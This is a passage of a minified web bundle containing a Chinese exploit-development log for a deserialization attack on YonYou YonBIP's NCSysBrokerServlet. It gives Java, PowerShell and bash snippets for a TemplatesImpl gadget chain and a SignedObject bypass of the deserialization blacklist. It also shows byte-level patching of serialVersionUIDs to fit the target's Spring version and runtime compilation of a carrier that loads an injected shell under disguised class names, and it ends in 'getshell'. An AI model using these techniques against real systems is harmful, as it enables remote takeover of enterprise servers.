\u89c2\u5bdf\u7c7b\u52a0\u8f7d\u8fc7\u7a0b\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u6216\u76f4\u63a5\u5728\u672c\u5730\u624b\u52a8\u8c03\u7528\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"TransletClassLoader loader = ...;\nloader.defineClass(carrierBytes); // \u5982\u679c\u8fd9\u91cc\u629b\u5f02\u5e38\uff0c\u5c31\u662f VerifyError\n"})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h3,{id:"\u95ee\u9898\u516dunsupportedclassversionerror-\u9759\u9ed8\u5931\u8d25",children:"\u95ee\u9898\u516d\uff1aUnsupportedClassVersionError \u9759\u9ed8\u5931\u8d25"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsxs)(n.p,{children:["\u4e0e\u95ee\u9898\u4e94\u76f8\u540c\uff1aShell \u672a\u6267\u884c\uff0c\u65e0\u660e\u663e\u62a5\u9519\uff0c",(0,l.jsx)(n.code,{children:"getOutputProperties()"})," \u8fd4\u56de null\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsx)(n.p,{children:"\u672c\u673a\u5b89\u88c5 Java 11 JDK\uff0c\u9ed8\u8ba4\u7f16\u8bd1\u751f\u6210 major_version=55 \u7684\u5b57\u8282\u7801\u3002\u670d\u52a1\u5668\u8fd0\u884c Java 8 JVM\uff0c\u52a0\u8f7d\u65f6\u629b\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"java.lang.UnsupportedClassVersionError: TxlCarrier has been compiled by a more\nrecent version of the Java Runtime (class file version 55.0), this version of\nthe Java Runtime only recognizes class file versions up to 52.0\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"UnsupportedClassVersionError"})," \u662f ",(0,l.jsx)(n.code,{children:"ClassFormatError"})," \u7684\u5b50\u7c7b\uff0c\u540c\u6837\u88ab ",(0,l.jsx)(n.code,{children:"catch (ClassFormatError e)"})," \u541e\u6389\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u9a8c\u8bc1\u65b9\u6cd5"})}),"\n",(0,l.jsx)(n.p,{children:"\u76f4\u63a5\u67e5\u770b\u7f16\u8bd1\u4ea7\u7269\u7684\u5b57\u8282 6-7\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:'# \u8bfb\u53d6 TxlCarrier.class \u5e76\u68c0\u67e5\u7b2c 7 \u5b57\u8282\uff08major_version\uff09\n$bytes = [IO.File]::ReadAllBytes("TxlCarrier.class")\nWrite-Output "major_version = $($bytes[7])"\n# \u671f\u671b\u8f93\u51fa\uff1a52\uff08Java 8\uff09\uff0c\u5b9e\u9645\u5982\u679c\u662f 55 \u5c31\u662f Java 11\n'})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u7f16\u8bd1\u65f6\u52a0 ",(0,l.jsx)(n.code,{children:"-source 8 -target 8"}),"\uff0c\u6216\u5207\u6362\u5230 Java 8 JDK \u7f16\u8bd1\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// javax.tools \u7f16\u8bd1\u9009\u9879\nList opts = Arrays.asList("-source", "8", "-target", "8", "-d", outDir);\n'})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsxs)(n.h3,{id:"\u95ee\u9898\u4e03invalidclassexception--suid-\u7248\u672c\u4e0d\u5339\u914d",children:["\u95ee\u9898\u4e03\uff1a",(0,l.jsx)(n.code,{children:"InvalidClassException"})," \u2014 SUID \u7248\u672c\u4e0d\u5339\u914d"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsx)(n.p,{children:"\u670d\u52a1\u7aef\u8fd4\u56de\u5305\u542b\u4ee5\u4e0b\u5185\u5bb9\u7684\u9519\u8bef\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"java.io.InvalidClassException:\n org.springframework.aop.aspectj.AspectJExpressionPointcut;\n local class incompatible:\n stream classdesc serialVersionUID = -1412488595531480267,\n local class serialVersionUID = -2303280975268180194\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u94fe\u8def\u5728\u5916\u5c42 PriorityQueue \u53cd\u5e8f\u5217\u5316\u9636\u6bb5\u5c31\u4e2d\u65ad\uff0c\u5185\u5c42\u94fe\u548c TemplatesImpl \u4ece\u672a\u88ab\u89e6\u53d1\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"AspectJExpressionPointcut"})," \u6ca1\u6709\u663e\u5f0f\u58f0\u660e ",(0,l.jsx)(n.code,{children:"serialVersionUID"}),"\uff0c\u56e0\u6b64 JVM \u5728\u7f16\u8bd1\u65f6\u6839\u636e\u7c7b\u7ed3\u6784\u81ea\u52a8\u8ba1\u7b97\u54c8\u5e0c\u4f5c\u4e3a SUID\u3002Spring Framework \u5728\u4e0d\u540c\u7248\u672c\u4e4b\u95f4\u5bf9\u8be5\u7c7b\u505a\u4e86\u4fee\u6539\uff0c\u5bfc\u81f4 SUID \u4e0d\u540c\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\u672c\u5730\u6784\u5efa\u73af\u5883\uff1aSpring 5.3.39 \u2192 SUID = ",(0,l.jsx)(n.code,{children:"-1412488595531480267L"})]}),"\n",(0,l.jsxs)(n.li,{children:["\u76ee\u6807\u670d\u52a1\u5668\uff1aSpring 5.3.20 \u2192 SUID = ",(0,l.jsx)(n.code,{children:"-2303280975268180194L"})]}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u5e8f\u5217\u5316\u6d41\u4e2d\u5199\u5165\u7684\u662f\u672c\u5730\u6784\u5efa\u65f6\u7528\u7684 5.3.39 \u7684 SUID\uff0c\u670d\u52a1\u5668 JVM \u52a0\u8f7d 5.3.20 \u7684\u7c7b\u65f6\u53d1\u73b0\u4e0d\u5339\u914d\uff0c\u7acb\u5373\u629b\u5f02\u5e38\uff0c\u53cd\u5e8f\u5217\u5316\u4e2d\u6b62\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5728 ObjectOutputStream \u8f93\u51fa\u7684\u5b57\u8282\u6d41\u4e0a\u8fdb\u884c\u5b57\u8282\u7ea7 patch\uff1a\u627e\u5230\u7c7b\u540d ",(0,l.jsx)(n.code,{children:"org.springframework.aop.aspectj.AspectJExpressionPointcut"})," \u5728\u5e8f\u5217\u5316\u6d41\u4e2d\u7684\u4f4d\u7f6e\uff0c\u5c06\u7d27\u968f\u7c7b\u540d\u4e4b\u540e\u7684 8 \u5b57\u8282\uff08SUID\uff09\u4ece\u65e7\u503c\u66ff\u6362\u4e3a\u670d\u52a1\u5668\u503c\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"\u66ff\u6362\u524d\uff08hex\uff09\uff1aEC B7 CA 46 1A 59 B6 75 (-1412488595531480267L)\n\u66ff\u6362\u540e\uff08hex\uff09\uff1aE0 01 9E DC 53 7B 26 3E (-2303280975268180194L)\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u5982\u4f55\u786e\u5b9a\u670d\u52a1\u5668\u7684 SUID"})}),"\n",(0,l.jsxs)(n.p,{children:["\u65b9\u6cd5\u4e00\uff1a\u5982\u679c\u80fd\u8bfb\u53d6\u670d\u52a1\u5668 jar \u5305\uff08\u5982 ",(0,l.jsx)(n.code,{children:"spring-aspects-5.3.20.jar"}),"\uff09\uff0c\u7528 ",(0,l.jsx)(n.code,{children:"serialver"})," \u5de5\u5177\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"serialver -classpath spring-aspects-5.3.20.jar \\\n org.springframework.aop.aspectj.AspectJExpressionPointcut\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u65b9\u6cd5\u4e8c\uff1a\u5728\u670d\u52a1\u5668\u7248\u672c\u7684 Spring \u4e0b\u8fd0\u884c\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"ObjectStreamClass.lookup(AspectJExpressionPointcut.class).getSerialVersionUID()\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u65b9\u6cd5\u4e09\uff1a\u4ece\u9519\u8bef\u4fe1\u606f\u4e2d\u76f4\u63a5\u8bfb\u53d6\uff08",(0,l.jsx)(n.code,{children:"stream classdesc serialVersionUID"})," \u662f\u6211\u4eec\u53d1\u7684\uff0c",(0,l.jsx)(n.code,{children:"local class serialVersionUID"})," \u662f\u670d\u52a1\u5668\u7684\uff09\uff0c\u4e24\u8005\u4e92\u6362\u5373\u53ef\u3002"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h3,{id:"\u95ee\u9898\u516bwrapper_b64-\u65b9\u6848\u7684\u5c40\u9650\u6027\u4e0e\u653e\u5f03",children:"\u95ee\u9898\u516b\uff1aWRAPPER_B64 \u65b9\u6848\u7684\u5c40\u9650\u6027\u4e0e\u653e\u5f03"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u65e9\u671f\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6700\u521d\u5c06 TxlCarrier.class \u9884\u7f16\u8bd1\u597d\uff0c\u53d6 Base64 \u786c\u7f16\u7801\u4e3a ",(0,l.jsx)(n.code,{children:"WRAPPER_B64"})," \u5e38\u91cf\uff0c",(0,l.jsx)(n.code,{children:"_bytecodes[0]"})," \u76f4\u63a5\u7528\u89e3\u7801\u7ed3\u679c\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// \u65e9\u671f\u65b9\u6848\uff08\u5df2\u5e9f\u5f03\uff09\nstatic final String WRAPPER_B64 = "yv66vg...TxlCarrier\u9884\u7f16\u8bd1base64...";\n// TxlCarrier \u4e2d\u7c7b\u540d\u786c\u7f16\u7801\u4e3a\u56fa\u5b9a Shell \u7c7b\u540d\n'})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u7f3a\u9677"})}),"\n",(0,l.jsxs)(n.ol,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.strong,{children:"\u6362 Shell \u5fc5\u987b\u91cd\u65b0\u7f16\u8bd1"}),"\uff1aTxlCarrier \u91cc ",(0,l.jsx)(n.code,{children:'Class.forName("org.apache.logging.ly.KeyUtils")'})," \u7684\u7c7b\u540d\u662f\u786c\u7f16\u7801\uff0c\u6362\u4e86\u4e0d\u540c\u7684 Shell\uff08\u4e0d\u540c\u6ce8\u5165\u5668\u7c7b\u540d\uff09\u5c31\u5931\u6548"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.strong,{children:"Edit \u5de5\u5177\u65e0\u6cd5\u5339\u914d\u957f\u5b57\u7b26\u4e32"}),"\uff1a",(0,l.jsx)(n.code,{children:"WRAPPER_B64"})," \u957f\u8fbe\u6570\u5343\u5b57\u7b26\uff0cEdit tool \u7684 ",(0,l.jsx)(n.code,{children:"old_string"})," \u8fc7\u957f\u65f6\u5339\u914d\u5931\u8d25\uff0c\u5fc5\u987b\u7528 PowerShell \u6309\u884c\u7d22\u5f15\u66ff\u6362"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.strong,{children:"\u7ef4\u62a4\u6210\u672c\u9ad8"}),"\uff1a\u6bcf\u6b21\u66f4\u6362\u76ee\u6807\u6216\u5207\u6362 Shell \u5de5\u5177\uff0c\u90fd\u8981\u624b\u52a8\u91cd\u65b0\u7f16\u8bd1 TxlCarrier\u3001\u63d0\u53d6 Base64\u3001\u66f4\u65b0\u6e90\u7801"]}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6700\u7ec8\u65b9\u6848\uff1a\u8fd0\u884c\u65f6\u52a8\u6001\u7f16\u8bd1"})}),"\n",(0,l.jsx)(n.p,{children:"\u6539\u4e3a\u5728 PoC \u8fd0\u884c\u65f6\u81ea\u52a8\u5b8c\u6210\u5168\u6d41\u7a0b\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"SHELL_B64\uff08\u552f\u4e00\u9700\u8981\u624b\u52a8\u66f4\u65b0\u7684\u503c\uff09\n \u2193 Base64 \u89e3\u7801\nShell \u5b57\u8282\u7801\n \u2193 \u89e3\u6790\u5e38\u91cf\u6c60\nShell \u7c7b\u540d\uff08\u5982 org.apache.commons.lang.v.SOAPUtils\uff09\n \u2193 \u586b\u5165\u6a21\u677f\nTxlCarrier.java\uff08\u542b\u6b63\u786e\u7c7b\u540d\uff09\n \u2193 javax.tools.JavaCompiler\uff08-source 8 -target 8\uff09\nTxlCarrier.class\uff08Java 8 \u5b57\u8282\u7801\uff0c\u8fd0\u884c\u65f6\u751f\u6210\uff09\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u53ea\u9700\u66ff\u6362 ",(0,l.jsx)(n.code,{children:"SHELL_B64"})," \u4e00\u4e2a\u503c\uff0c\u5176\u4f59\u5b8c\u5168\u81ea\u52a8\uff0c\u9002\u914d\u4efb\u610f Shell \u6ce8\u5165\u5668\u3002"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h3,{id:"\u95ee\u9898\u4e5dedit-\u5de5\u5177\u65e0\u6cd5\u66ff\u6362\u957f-base64-\u5b57\u7b26\u4e32",children:"\u95ee\u9898\u4e5d\uff1aEdit \u5de5\u5177\u65e0\u6cd5\u66ff\u6362\u957f Base64 \u5b57\u7b26\u4e32"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsxs)(n.p,{children:["\u4f7f\u7528 Edit tool \u5c1d\u8bd5\u66ff\u6362 ",(0,l.jsx)(n.code,{children:"SHELL_B64"})," \u6216 ",(0,l.jsx)(n.code,{children:"WRAPPER_B64"})," \u7684\u957f Base64 \u503c\u65f6\uff0c\u62a5\u9519\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"The `old_string` parameter could not be found in the file.\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsx)(n.p,{children:"\u957f Base64 \u5b57\u7b26\u4e32\uff08>5000 \u5b57\u7b26\uff09\u5728\u6587\u4ef6\u8bfb\u53d6\u548c Edit tool \u5185\u90e8\u5904\u7406\u65f6\uff0c\u53ef\u80fd\u56e0\u4e3a\uff1a"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"\u884c\u957f\u5ea6\u8d85\u8fc7 IDE/\u5de5\u5177\u7684\u884c\u7f13\u51b2\u9650\u5236"}),"\n",(0,l.jsxs)(n.li,{children:["\u5b57\u7b26\u4e32\u4e2d\u7279\u6b8a\u5b57\u7b26\uff08",(0,l.jsx)(n.code,{children:"+"}),"\u3001",(0,l.jsx)(n.code,{children:"/"}),"\u3001",(0,l.jsx)(n.code,{children:"="}),"\uff09\u4e0e old_string \u5339\u914d\u5f15\u64ce\u7684\u8f6c\u4e49\u89c4\u5219\u51b2\u7a81"]}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsx)(n.p,{children:"\u5b8c\u5168\u6539\u7528 PowerShell \u6309\u884c\u7d22\u5f15\u64cd\u4f5c\uff0c\u5b8c\u5168\u7ed5\u8fc7\u5b57\u7b26\u4e32\u5339\u914d\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:'$lines = [IO.File]::ReadAllLines($path, [Text.Encoding]::UTF8)\n# \u627e\u5230 SHELL_B64 \u5b9a\u4e49\u7684\u884c\u8303\u56f4\n$startLine = 27 # 0-indexed\uff0c\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u8c03\u6574\n$endLine = 33\n# \u6784\u5efa\u65b0\u884c\n$newDef = " static final String SHELL_B64 = `"$b64`";"\n# \u66ff\u6362\uff1a\u524d\u6bb5 + \u65b0\u884c + \u540e\u6bb5\n$newLines = [System.Collections.Generic.List[string]]::new()\n$newLines.AddRange($lines[0..($startLine-1)])\n$newLines.Add($newDef)\n$newLines.AddRange($lines[($endLine+1)..($lines.Length-1)])\n[IO.File]::WriteAllLines($path, $newLines,\n (New-Object System.Text.UTF8Encoding $false))\n'})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h3,{id:"\u95ee\u9898\u5341\u6587\u4ef6\u4e2d\u6587\u6ce8\u91ca\u4e71\u7801mojibake",children:"\u95ee\u9898\u5341\uff1a\u6587\u4ef6\u4e2d\u6587\u6ce8\u91ca\u4e71\u7801\uff08Mojibake\uff09"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsx)(n.p,{children:"\u6253\u5f00 PoC \u6e90\u6587\u4ef6\u65f6\uff0c\u4e2d\u6587\u6ce8\u91ca\u663e\u793a\u4e3a\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"// \u9359\u5d85\u7c2d\u9352\u6940\u5bf2 PoC (\u9477\u59e9\u9356\u682b\u5897)\n// \u9239\u20ac\u9239\u20ac\u9239\u20ac \u6d60?class \u701b\u6944\u59ad\u942e\u4f78\u7236\u95b2\u5fd4\u775c\u7459\uff46\u703d this_class\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6e90\u6587\u4ef6\u539f\u672c\u662f UTF-8 \u7f16\u7801\u3002\u5728\u67d0\u6b21 PowerShell \u5904\u7406\u8fc7\u7a0b\u4e2d\uff0c\u7528\u4e86\u4e0d\u6b63\u786e\u7684\u7f16\u7801\u8bfb\u53d6\uff08\u5982 ",(0,l.jsx)(n.code,{children:"Get-Content"})," \u9ed8\u8ba4\u7684 Windows-1252 \u6216\u7cfb\u7edf ANSI \u7f16\u7801\uff09\uff0c\u518d\u4ee5\u8be5\u9519\u8bef\u7f16\u7801\u5199\u56de\uff0c\u5bfc\u81f4\u591a\u5b57\u8282 UTF-8 \u5e8f\u5217\u88ab\u9519\u8bef\u89e3\u91ca\u4e3a\u5355\u5b57\u8282\u5b57\u7b26\u7ec4\u5408\uff0c\u4ea7\u751f Mojibake\uff08\u4e71\u7801\uff09\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["UTF-8 \u4e2d\u6587\u5b57\u7b26\uff083 \u5b57\u8282\uff09\u88ab GBK/ANSI \u7f16\u7801\u89e3\u91ca\u540e\uff0c\u5bf9\u5e94\u7684 Unicode \u7801\u4f4d\u662f\u5b8c\u5168\u4e0d\u540c\u7684\u6c49\u5b57\uff08\u5982 ",(0,l.jsx)(n.code,{children:"\u9359\u5d85\u7c2d\u9352\u6940\u5bf2"})," \u5b9e\u4e3a ",(0,l.jsx)(n.code,{children:"\u53cd\u5e8f\u5217\u5316"})," \u7684 UTF-8 \u5b57\u8282\u88ab\u4ee5 GBK \u8bfb\u53d6\u7684\u7ed3\u679c\uff09\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5f3a\u5236\u7528 ",(0,l.jsx)(n.code,{children:"[IO.File]::ReadAllLines(path, [Text.Encoding]::UTF8)"})," \u8bfb\u53d6\uff0c\u7528 ",(0,l.jsx)(n.code,{children:"(New-Object System.Text.UTF8Encoding $false)"})," \u5199\u56de\uff08\u65e0 BOM\uff09\uff0c\u9010\u884c\u6309\u884c\u7d22\u5f15\u66ff\u6362\u4e71\u7801\u884c\u4e3a\u6b63\u786e\u4e2d\u6587\u5185\u5bb9\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:"$utf8NoBom = [System.Text.UTF8Encoding]::new($false)\n$lines = [IO.File]::ReadAllLines($path, [Text.Encoding]::UTF8)\n$lines[15] = ' * YonYou YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316 PoC (\u81ea\u52a8\u5316\u7248)'\n# ... \u5176\u4f59\u4e71\u7801\u884c ...\n[IO.File]::WriteAllLines($path, $lines, $utf8NoBom)\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u9884\u9632\u65b9\u6cd5"}),"\uff1a\u6240\u6709\u6587\u4ef6\u64cd\u4f5c\u59cb\u7ec8\u663e\u5f0f\u6307\u5b9a UTF-8\uff0c\u4e0d\u4f9d\u8d56\u7cfb\u7edf\u9ed8\u8ba4\u7f16\u7801\u3002"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsxs)(n.h3,{id:"\u95ee\u9898\u5341\u4e00templatesimpl-_name-\u4e3a-null-\u5bfc\u81f4\u94fe\u8def\u4e2d\u65ad",children:["\u95ee\u9898\u5341\u4e00\uff1aTemplatesImpl ",(0,l.jsx)(n.code,{children:"_name"})," \u4e3a null \u5bfc\u81f4\u94fe\u8def\u4e2d\u65ad"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"getOutputProperties()"})," \u4e0d\u629b\u5f02\u5e38\uff0c\u4e5f\u4e0d\u6267\u884c Shell\uff0c\u8fd4\u56de ",(0,l.jsx)(n.code,{children:"null"}),"\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:["\u67e5\u770b ",(0,l.jsx)(n.code,{children:"getTransletInstance()"})," \u6e90\u7801\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"private Translet getTransletInstance() {\n if (_name == null) return null; // \u2190 \u8fd9\u91cc\uff01\n if (_class == null) defineTransletClasses();\n // ...\n}\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c ",(0,l.jsx)(n.code,{children:"_name"})," \u5b57\u6bb5\u4e3a null\uff08\u6ca1\u6709\u663e\u5f0f set\uff09\uff0c\u76f4\u63a5\u8fd4\u56de null\uff0c",(0,l.jsx)(n.code,{children:"defineTransletClasses()"})," \u6839\u672c\u4e0d\u4f1a\u6267\u884c\uff0c\u6574\u6761\u94fe\u8def\u5728\u6700\u65e9\u671f\u5c31\u65e0\u58f0\u4e2d\u65ad\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u89e3\u51b3\u65b9\u6848"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6784\u5efa TemplatesImpl \u65f6\u5fc5\u987b\u7528\u53cd\u5c04\u8bbe\u7f6e ",(0,l.jsx)(n.code,{children:"_name"})," \u4e3a\u4efb\u610f\u975e\u7a7a\u5b57\u7b26\u4e32\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'setField(templates, "_name", "x"); // \u503c\u4efb\u610f\uff0c\u975e null \u5373\u53ef\n'})}),"\n",(0,l.jsxs)(n.p,{children:["\u8fd9\u662f\u4e2a\u975e\u5e38\u5bb9\u6613\u6f0f\u6389\u7684\u7ec6\u8282\uff0c\u56e0\u4e3a ",(0,l.jsx)(n.code,{children:"_name"}),' \u5728\u6b63\u5e38 XSLT \u4f7f\u7528\u4e2d\u662f\u6a21\u677f\u540d\u79f0\uff0c\u6709\u9ed8\u8ba4\u4e1a\u52a1\u542b\u4e49\uff0c\u4f46\u5728\u5229\u7528\u94fe\u4e2d\u5b83\u53ea\u662f\u4e00\u4e2a"\u5f00\u5173"\u3002']}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h3,{id:"\u8e29\u5751\u65f6\u95f4\u7ebf\u603b\u89c8",children:"\u8e29\u5751\u65f6\u95f4\u7ebf\u603b\u89c8"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:'\u9636\u6bb5\u4e00\uff1a\u521d\u59cb\u6784\u5efa\n \u2717 \u9ed1\u540d\u5355\u76f4\u63a5\u62e6\u622a \u2192 \u6539\u7528 SignedObject \u4e8c\u6b21\u53cd\u5e8f\u5217\u5316\n\n\u9636\u6bb5\u4e8c\uff1a\u9996\u6b21\u8fd0\u884c\u62a5\u9519\n \u2717 SHELL_B64 \u622a\u65ad \u2192 StringIndexOutOfBoundsException \u2192 \u66ff\u6362\u5b8c\u6574 base64\n \u2717 PowerShell \u66ff\u6362\u53ea\u6539\u7b2c\u4e00\u884c \u2192 Base64 incorrect ending byte \u2192 \u6309\u884c\u7d22\u5f15\u66ff\u6362\u6574\u5757\n \u2717 \u6587\u4ef6\u7f16\u7801\u635f\u574f \u2192 javac illegal character \u2192 \u5f3a\u5236 UTF-8 \u8bfb\u5199\n\n\u9636\u6bb5\u4e09\uff1a\u7f16\u8bd1\u95ee\u9898\n \u2717 --release \u4e0d\u652f\u6301\uff08Java 8 JDK\uff09\u2192 \u6539\u7528 -source 8 -target 8\n \u2717 Edit tool \u65e0\u6cd5\u5339\u914d\u957f base64 \u2192 \u6539\u7528 PowerShell \u884c\u66ff\u6362\n\n\u9636\u6bb5\u56db\uff1a\u9759\u9ed8\u5931\u8d25\u6392\u67e5\uff08\u6700\u96be\uff09\n \u2717 TxlCarrier \u6709 transform() \u65b9\u6cd5\u5f15\u7528 \u2192 VerifyError \u88ab\u541e \u2192 \u6539\u7528\u5047 AbstractTranslet\n \u2717 \u5b57\u8282\u7801 major=55\uff08Java 11\uff09\u2192 UnsupportedClassVersionError \u88ab\u541e \u2192 -source 8 -target 8\n \u2717 _name \u4e3a null \u2192 getTransletInstance \u76f4\u63a5\u8fd4\u56de null \u2192 set _name = "x"\n\n\u9636\u6bb5\u4e94\uff1a\u670d\u52a1\u7aef\u7248\u672c\u9002\u914d\n \u2717 SUID \u4e0d\u5339\u914d\uff085.3.39 vs 5.3.20\uff09\u2192 InvalidClassException \u2192 \u5b57\u8282\u7ea7 patch SUID\n\n\u9636\u6bb5\u516d\uff1a\u65b9\u6848\u91cd\u6784\n \u2717 WRAPPER_B64 \u786c\u7f16\u7801\u7c7b\u540d\u4e0d\u9002\u5e94\u6362 Shell \u2192 \u6539\u4e3a\u8fd0\u884c\u65f6\u52a8\u6001\u7f16\u8bd1 + \u81ea\u52a8\u7c7b\u540d\u63d0\u53d6\n\n\u9636\u6bb5\u4e03\uff1a\u6587\u4ef6\u7ef4\u62a4\n \u2717 \u4e2d\u6587\u6ce8\u91ca Mojibake \u2192 \u6309\u884c\u7d22\u5f15\u91cd\u65b0\u5199\u5165\u6b63\u786e UTF-8 \u5185\u5bb9\n\n\u6700\u7ec8\uff1a\u2713 Payload \u751f\u6210\u6210\u529f\uff0cgetshell\n'})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u5341\u516d\u53c2\u8003\u8d44\u6599",children:"\u5341\u516d\u3001\u53c2\u8003\u8d44\u6599"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"TemplatesImpl.defineTransletClasses()"})," \u6e90\u7801\uff1aJDK ",(0,l.jsx)(n.code,{children:"com.sun.org.apache.xalan.internal.xsltc.trax"})]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"SignedObject.getObject()"})," \u6e90\u7801\uff1aJDK ",(0,l.jsx)(n.code,{children:"java.security"})]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"PriorityQueue.readObject()"})," \u6e90\u7801\uff1aJDK ",(0,l.jsx)(n.code,{children:"java.util"})]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"JdkDynamicAopProxy.invoke()"})," \u6e90\u7801\uff1aSpring Framework ",(0,l.jsx)(n.code,{children:"org.springframework.aop.framework"})]}),"\n",(0,l.jsx)(n.li,{children:"Java class \u6587\u4ef6\u683c\u5f0f\uff1aJVM Spec \xa74\uff08The class File Format\uff09"}),"\n",(0,l.jsx)(n.li,{children:"Java \u5e8f\u5217\u5316\u6d41\u683c\u5f0f\uff1aJava Object Serialization Specification \xa76"}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,t.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git 